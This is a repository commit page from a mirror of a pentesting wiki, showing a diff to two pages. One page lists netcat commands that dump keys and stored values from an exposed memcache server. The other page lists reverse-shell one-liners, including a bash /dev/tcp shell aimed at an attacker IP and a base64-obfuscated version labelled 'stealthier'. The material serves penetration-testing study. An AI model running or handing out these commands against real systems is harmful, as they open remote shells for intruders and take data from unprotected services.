0x22bb
/
hacktricks
mirror of https://github.com/carlospolop/hacktricks.git
1
2
Fork 0
Code Releases Activity

GitBook: [master] 380 pages modified

This commit is contained in:
CPol 2020-10-17 17:35:35 +00:00 committed by gitbook-bot
parent 8700d5cf8c
commit 229d75d9f7
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
2 changed files with 8 additions and 7 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
pentesting/11211-memcache.md
View File

@ -25,12 +25,12 @@ To ex-filtrate all the information saved inside a memcache instance you need to:
Remember that this service is just a **cache**, so **data may be appearing and disappearing**.
```bash
echo "version" | nc -vn <IP> 11211 #Get version
echo "stats" | nc -vn <IP> 11211 #Get status
echo "stats slabs" | nc -vn <IP> 11211 #Get slabs
echo "stats items" | nc -vn <IP> 11211 #Get items of slabs with info
echo "stats cachedump <number> 0" | nc -vn <IP> 11211 #Get key names
echo "get <item_name>" | nc -vn <IP> 11211 #Get saved info
echo "version" | nc -vn -w 1 <IP> 11211 #Get version
echo "stats" | nc -vn -w 1 <IP> 11211 #Get status
echo "stats slabs" | nc -vn -w 1 <IP> 11211 #Get slabs
echo "stats items" | nc -vn -w 1 <IP> 11211 #Get items of slabs with info
echo "stats cachedump <number> 0" | nc -vn -w 1 <IP> 11211 #Get key names (the 0 is for unlimited output size)
echo "get <item_name>" | nc -vn -w 1 <IP> 11211 #Get saved info
#This php will just dump the keys, you need to use "get <item_name> later"
sudo apt-get install php-memcached

3
shells/shells/linux.md
View File

@ -1,5 +1,7 @@
# Shells - Linux
**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com/)\*\*\*\*
## Full TTY
**Once you get a reverse shell**[ **read this page to obtain a full TTY**](full-ttys.md)**.**
@ -20,7 +22,6 @@ nohup bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
#Stealthier method
#B64 encode the shell like: echo "nohup bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```
## Netcat